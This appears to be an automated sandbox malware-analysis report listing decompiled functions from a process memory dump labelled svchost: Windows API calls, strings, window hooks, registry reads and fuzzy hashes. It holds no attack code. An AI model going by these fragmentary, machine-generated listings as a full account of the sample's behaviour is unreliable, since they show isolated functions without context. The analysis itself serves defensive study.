RegisterClipboardFormatA.USER32(4tTray_ProcessDetached), ref: 03E3936F

Strings

4tTray_WM_FREEMEMORY_NAME, xrefs: 03E3933D
4tTray_ProcessAttached, xrefs: 03E3935B
4tTray_WM_INIT_POS, xrefs: 03E3931F
4tTray_WM_ROLLUP, xrefs: 03E3932E
4tTray_WM_POSCHANGED, xrefs: 03E39310
4tTray_ProcessDetached, xrefs: 03E3936A
4tTray_WM_STAYONTOP, xrefs: 03E3934C

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: ClipboardFormatRegister
String ID: 4tTray_ProcessAttached$4tTray_ProcessDetached$4tTray_WM_FREEMEMORY_NAME$4tTray_WM_INIT_POS$4tTray_WM_POSCHANGED$4tTray_WM_ROLLUP$4tTray_WM_STAYONTOP
API String ID: 1228543026-747308701
Opcode ID: 3d1210ef76ccf934e4cdaa0c724535f2d30dba7364cab90830ad57be92eb8d7c
Instruction ID: 96a4dfdd5ec575b13a92e2223505367f1777117eb1bf4c02878bcc88f158423e
Opcode Fuzzy Hash: 3d1210ef76ccf934e4cdaa0c724535f2d30dba7364cab90830ad57be92eb8d7c
Instruction Fuzzy Hash: 57F014B85403A89ED700FBB7784E6B936E4E7427117093359B5249B2A6D7B27800CF1A

Function 03E37E9C Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,03E38167,?,?,00000000,00000000), ref: 03E37ED2

Part of subcall function 03E36A94: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03E36AB2

Strings

AMPM , xrefs: 03E380F5
:mm:ss, xrefs: 03E38122
:mm, xrefs: 03E38105
AMPM, xrefs: 03E380E6
m/d/yy, xrefs: 03E37FA1
mmmm d, yyyy, xrefs: 03E37FCE

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: ca6b8d826501f5ea37fc452f6691c0ed617a45f5ef7ebba2f51404b0e50aa300
Instruction ID: ba6000db4c7e16c4790a8672612dfc45fe4da85a2aff895d6063b791e824576b
Opcode Fuzzy Hash: ca6b8d826501f5ea37fc452f6691c0ed617a45f5ef7ebba2f51404b0e50aa300
Instruction Fuzzy Hash: E8611F3870034CABDB00FBB4DC89AAF77B6EB8A200F60B665E1119F345DA35D909D755

Function 03E39C74 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?), ref: 03E39CA7
GetProcAddress.KERNEL32(76680000,GetProcAddress), ref: 03E39CBC
LoadLibraryA.KERNEL32(user32.dll,?), ref: 03E39CD4
GetProcAddress.KERNEL32(767A0000,00000000), ref: 03E39CF6

Strings

kernel32.dll, xrefs: 03E39CA2
GetProcAddress, xrefs: 03E39CB1
user32.dll, xrefs: 03E39CCF

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetProcAddress$kernel32.dll$user32.dll
API String ID: 2574300362-2524697592
Opcode ID: 1bf01c41d6a34c2e677c412de072975c7c30f8784e83284e957407d5c570d9f2
Instruction ID: da4c9419a5ae2107a451a669a20ea18d98bcf1a671636ba59f743b4483bbd4c7
Opcode Fuzzy Hash: 1bf01c41d6a34c2e677c412de072975c7c30f8784e83284e957407d5c570d9f2
Instruction Fuzzy Hash: 47113C7490125CDFDB11FBA6D58D79CBBF4AB06704F9423D4E840A7245D3B4A941CF42

Function 03E33B44 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E,?,?,?,03E3D630,?,?,03E3C0A8,03E34D21,03E3B330), ref: 03E33B7D
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E,?,?,?,03E3D630,?,?,03E3C0A8,03E34D21), ref: 03E33B83
GetStdHandle.KERNEL32(000000F5,03E33BCC,00000002,03E3B330,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E,?,?,?), ref: 03E33B98
WriteFile.KERNEL32(00000000,000000F5,03E33BCC,00000002,03E3B330,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E), ref: 03E33B9E
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 03E33BBC

Strings

Runtime error at 00000000, xrefs: 03E33B76, 03E33BB5
Error, xrefs: 03E33BB0

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 93593ecdef28ebde143931e9d8d9b751654bc97355a496fc6b97ecdb289dd6d7
Instruction ID: 9bca6b6c119a3b56df426a33920d23ece6d2af7782d8e3ad63d3f085f783bf2d
Opcode Fuzzy Hash: 93593ecdef28ebde143931e9d8d9b751654bc97355a496fc6b97ecdb289dd6d7
Instruction Fuzzy Hash: B3F09664A8839879E630F2655E0EFDA267C5747F14F246309B2247C0CAC7B4C484CA65

Function 03E3A600 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 245windowCOMMON

Download Yara Rule

APIs

CallNextHookEx.USER32(?,?,?,?), ref: 03E3A63D
CallNextHookEx.USER32(00000000,?,?,?), ref: 03E3A655
GetWindowLongA.USER32(?,000000F0), ref: 03E3A6B8
PostMessageA.USER32(?,0000001F,00000000,00000000), ref: 03E3A882
GetSystemMenu.USER32(?,00000000,?,000000F0,00000000,03E3A8FF,?,00000000,?,?,?,00000000,03E3A938), ref: 03E3A8AE

Strings

CabinetWClass, xrefs: 03E3A865

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: CallHookNext$LongMenuMessagePostSystemWindow
String ID: CabinetWClass
API String ID: 776588294-1981833947
Opcode ID: fdf74c5af3a33b01fd1b0657ed6913ecf56e064f815006f765946aa354b82c00
Instruction ID: 3c25c4954bbc90a7ffa1de2d6ebd178998cbca19f7419208a38add636fbaacf0
Opcode Fuzzy Hash: fdf74c5af3a33b01fd1b0657ed6913ecf56e064f815006f765946aa354b82c00
Instruction Fuzzy Hash: CFA1B039A00309EFDB14DF58D889EA9B7F5EF0A314F1596A0E985AB761C730E981CB10

Function 03E3A36C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000000FF,000000FF), ref: 03E3A38F
SetProcessWorkingSetSize.KERNEL32(00000000,000000FF,000000FF), ref: 03E3A395

Strings

WM_UNCLOAK, xrefs: 03E3A41E
WM_CLOAK, xrefs: 03E3A403

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: Process$CurrentSizeWorking
String ID: WM_CLOAK$WM_UNCLOAK
API String ID: 2122760700-2187480440
Opcode ID: bacacd42f4fa91638426a15ad7b1be1379faebde21a8cd24b59e55e43a5ec49e
Instruction ID: df02de288312bcef67ff7f9362bd9a113ec0bd6e7d4838c2643eb3b62c702b36
Opcode Fuzzy Hash: bacacd42f4fa91638426a15ad7b1be1379faebde21a8cd24b59e55e43a5ec49e
Instruction Fuzzy Hash: 4421CC38604248DFCB10EB59D48DD5CB7F1AF0A314F65A7A1E852AB3A1D731ED81DB11

Function 03E37198 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 03E37000: VirtualQuery.KERNEL32(?,?,0000001C), ref: 03E3701C
Part of subcall function 03E37000: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E37040
Part of subcall function 03E37000: GetModuleFileNameA.KERNEL32(03E30000,?,00000105), ref: 03E3705B
Part of subcall function 03E37000: LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 03E370FF

CharToOemA.USER32(?,?), ref: 03E371CF
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 03E371EC
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03E371F2
GetStdHandle.KERNEL32(000000F4,03E3725C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03E37207
WriteFile.KERNEL32(00000000,000000F4,03E3725C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03E3720D
LoadStringA.USER32(00000000,0000FFE8,?,00000040), ref: 03E3722F
MessageBoxA.USER32(00000000,?,?,00002010), ref: 03E37245

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: cbb5155528f5a7dd699de107d61d5b09b3ba6fb9aa162e446fbf0c0326b4b028
Instruction ID: 3c1523f4629d0984b433b4ae6d96438be50c8988c71521e05429f151a3e9ebdc
Opcode Fuzzy Hash: cbb5155528f5a7dd699de107d61d5b09b3ba6fb9aa162e446fbf0c0326b4b028
Instruction Fuzzy Hash: EB115EBA108304AED300F7A6CC89F9F77EC6B46600F402715B354EB0D1DA31E904CB62

Function 03E38904 Relevance: 10.5, APIs: 7, Instructions: 38threadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000), ref: 03E3890F
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 03E38915
GetCurrentThreadId.KERNEL32 ref: 03E38923
AttachThreadInput.USER32(00000000,?,000000FF), ref: 03E38929
SetFocus.USER32(?,00000000,03E3896A,?,00000000,?,000000FF), ref: 03E38940
GetCurrentThreadId.KERNEL32 ref: 03E3895E
AttachThreadInput.USER32(00000000,?,00000000,03E38971,03E3896A,?,00000000,?,000000FF), ref: 03E38964

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: Thread$AttachCurrentInputWindow$FocusForegroundProcess
String ID:
API String ID: 440050021-0
Opcode ID: 97a5b05f015d2545fdbaa4c5066f72880a4098adf0221d545ad36ad8355a1a9f
Instruction ID: f37236d34e7aade5542e2b6c436e5c32141005d5a9f8255d9afe1cd80713c6fd
Opcode Fuzzy Hash: 97a5b05f015d2545fdbaa4c5066f72880a4098adf0221d545ad36ad8355a1a9f
Instruction Fuzzy Hash: C2F01279E04344BEDB11EBF68C1996E77ACDB4A620F525660B520EB5C0D6359910CA11

Function 03E398F4 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 03E398FD
GetProcAddress.KERNEL32(00000000,SwitchToThisWindow), ref: 03E39914
GetProcAddress.KERNEL32(00000000,ChangeWindowMessageFilter), ref: 03E39927

Strings

user32.dll, xrefs: 03E398F8
ChangeWindowMessageFilter, xrefs: 03E3991E
SwitchToThisWindow, xrefs: 03E3990B

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ChangeWindowMessageFilter$SwitchToThisWindow$user32.dll
API String ID: 667068680-2021927898
Opcode ID: e0b07087b98671536b5b0a5974167c5832d19c11267e81405a5b0331923a73a5
Instruction ID: c147dba891d3fd90cba0090a9a5d85f2cc44bd22ff7f8da3b8010a8c055991db
Opcode Fuzzy Hash: e0b07087b98671536b5b0a5974167c5832d19c11267e81405a5b0331923a73a5
Instruction Fuzzy Hash: 1EF01CB2905308EEDB00FFBBA94D69A77F8DB01514B141695E0189B251E7B06900CB10

Function 03E31ABC Relevance: 9.1, APIs: 6, Instructions: 72COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(Function_0000D5C4,00000000,03E31BB0), ref: 03E31AEB
LocalFree.KERNEL32(00000000,00000000,03E31BB0), ref: 03E31AFD
VirtualFree.KERNEL32(?,00000000,00008000,00000000,00000000,03E31BB0), ref: 03E31B21
LocalFree.KERNEL32(00000000,?,00000000,00008000,00000000,00000000,03E31BB0), ref: 03E31B72
RtlLeaveCriticalSection.KERNEL32(Function_0000D5C4,03E31BB7,00000000,00000000,03E31BB0), ref: 03E31BA0
RtlDeleteCriticalSection.KERNEL32(Function_0000D5C4,03E31BB7,00000000,00000000,03E31BB0), ref: 03E31BAA

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: f743af0b18dfa3ed5a23374cd2d53fc59de07804623018730f6baf2c0fec996d
Instruction ID: 3d35fc62428985e93368d40339bec51adcb72c6fc1f370d370a503e3d59f8d60
Opcode Fuzzy Hash: f743af0b18dfa3ed5a23374cd2d53fc59de07804623018730f6baf2c0fec996d
Instruction Fuzzy Hash: CC214C74A08748EFDB11FBA9D84DB9ABBF4EB0B708F146399E4009B690D6749940EF14

Function 03E34ABD Relevance: 9.0, APIs: 6, Instructions: 41threadCOMMON

Download Yara Rule

APIs

Part of subcall function 03E32F6C: GetKeyboardType.USER32(00000000), ref: 03E32F71
Part of subcall function 03E32F6C: GetKeyboardType.USER32(00000001), ref: 03E32F7D

GetCommandLineA.KERNEL32 ref: 03E34B23
GetVersion.KERNEL32 ref: 03E34B37
GetVersion.KERNEL32 ref: 03E34B48
GetCurrentThreadId.KERNEL32 ref: 03E34B84

Part of subcall function 03E32F9C: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FBE
Part of subcall function 03E32F9C: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FF1
Part of subcall function 03E32F9C: RegCloseKey.ADVAPI32(?,03E33014,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E33007

GetThreadLocale.KERNEL32 ref: 03E34B64

Part of subcall function 03E349F4: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,03E34A5A), ref: 03E34A1A

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID:
API String ID: 3734044017-0
Opcode ID: 53797f057a0c22b2cb5a3e06c843ef645a830fe852788c73a455ebf0b56772e8
Instruction ID: 84ca3d71978bd75236454497937b683ce17718ecdedec2366af0cedc1e414135
Opcode Fuzzy Hash: 53797f057a0c22b2cb5a3e06c843ef645a830fe852788c73a455ebf0b56772e8
Instruction Fuzzy Hash: C40180A9408399D9DB11FF73988D3DA3A61AF13744F14775D80405E399E7394145CF62

Function 03E32F9C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FBE
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FF1
RegCloseKey.ADVAPI32(?,03E33014,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E33007

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 03E32FB4
FPUMaskValue, xrefs: 03E32FE8

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: abdd756626b98141ef79555a4a9e903fb89b7fcf554bb413a63df564a6c36b09
Instruction ID: 0b51058467841b43481f4048a692edef5fe58c0adc2c92cc9826cbe294de9c68
Opcode Fuzzy Hash: abdd756626b98141ef79555a4a9e903fb89b7fcf554bb413a63df564a6c36b09
Instruction Fuzzy Hash: D201D87D900348BEDB21EBD0CD46FEDB7BCDB05B00F1002A5BA14E7580E6759510DB64

Function 03E39A3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,000000FA), ref: 03E39A63
CompareStringA.KERNEL32(00000400,00000001,?,?,Shell_TrayWnd,0000000D,?,?,000000FA), ref: 03E39A84
CompareStringA.KERNEL32(00000400,00000001,?,?,SysPager,00000008,00000400,00000001,?,?,Shell_TrayWnd,0000000D,?,?,000000FA), ref: 03E39AA7

Strings

Shell_TrayWnd, xrefs: 03E39A6D
SysPager, xrefs: 03E39A90

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: CompareString$ClassName
String ID: Shell_TrayWnd$SysPager
API String ID: 3699413841-3765525915
Opcode ID: c17d1d1da51cbf3787cbf987cdfcfaff9ab4153940c553da0955b7c6d01a1480
Instruction ID: 00069a737dee63874101f19799a1c6f76ac489f8a4032fc20c6a90f7ec0dbf3e
Opcode Fuzzy Hash: c17d1d1da51cbf3787cbf987cdfcfaff9ab4153940c553da0955b7c6d01a1480
Instruction Fuzzy Hash: C901FF75A44248BADB20DBD48C46FEEB3B89B16700F045391BA55EB281D7F15A40DF51

Function 03E36D1C Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03E36DB3,?,?,00000000), ref: 03E36D34

Part of subcall function 03E36A94: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03E36AB2

GetThreadLocale.KERNEL32(00000000,00000004,00000000,03E36DB3,?,?,00000000), ref: 03E36D64
EnumCalendarInfoA.KERNEL32(Function_00006C68,00000000,00000000,00000004), ref: 03E36D6F
GetThreadLocale.KERNEL32(00000000,00000003,00000000,03E36DB3,?,?,00000000), ref: 03E36D8D
EnumCalendarInfoA.KERNEL32(Function_00006CA4,00000000,00000000,00000003), ref: 03E36D98

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 5d39138ffed0c839060dd5c20a5f9f7424df2c91f11e5e54be7d0ba1c5ddcd7c
Instruction ID: c18e671fefcf49bc0f80f41af5e7b6a064c5f52ce06e6a89e98e2f41db562524
Opcode Fuzzy Hash: 5d39138ffed0c839060dd5c20a5f9f7424df2c91f11e5e54be7d0ba1c5ddcd7c
Instruction Fuzzy Hash: 1D01D479240708BED301F6B5CC4AF6E35ACDB43B20F912760E410EF6C4D6749E00C565

Function 03E36DDD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03E36F96,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 03E36DFB

Part of subcall function 03E36A94: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03E36AB2

Strings

eeee, xrefs: 03E36F06
ggg, xrefs: 03E36EE0
yyyy, xrefs: 03E36EED

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 14d6f72e47e31ad80f3850b647f5c5795d0be09a12afd98d1bb5a56a5216af1d
Instruction ID: 2fb384a9f4030cdf0cf1a7b7de5609c51799bd426788a2b4cfb5c07382dd32d7
Opcode Fuzzy Hash: 14d6f72e47e31ad80f3850b647f5c5795d0be09a12afd98d1bb5a56a5216af1d
Instruction Fuzzy Hash: 8941AF29704A056BC711EF79C8DC6FEF2B6EB87204FA43765E442AB344D725EA06C621

Function 03E38270 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,03E38781,00000000,03E38794), ref: 03E38276
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 03E38287

Strings

kernel32.dll, xrefs: 03E38271
GetDiskFreeSpaceExA, xrefs: 03E38281

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 5243a68da49ee02dec8a8eee4c44b36ac3ceca18a1e888b946e1f5c1a1aa7be9
Instruction ID: c772fcede3d97a74f2403b57cf9933309ea2282838aeba1dad66a5d82c52b219
Opcode Fuzzy Hash: 5243a68da49ee02dec8a8eee4c44b36ac3ceca18a1e888b946e1f5c1a1aa7be9
Instruction Fuzzy Hash: 44D05EB220979A4EDB00EAA7D8CCB9621689F4B104B313324F43479141EA74C4ACCA00

Function 03E37000 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03E3701C
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E37040
GetModuleFileNameA.KERNEL32(03E30000,?,00000105), ref: 03E3705B
LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 03E370FF

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
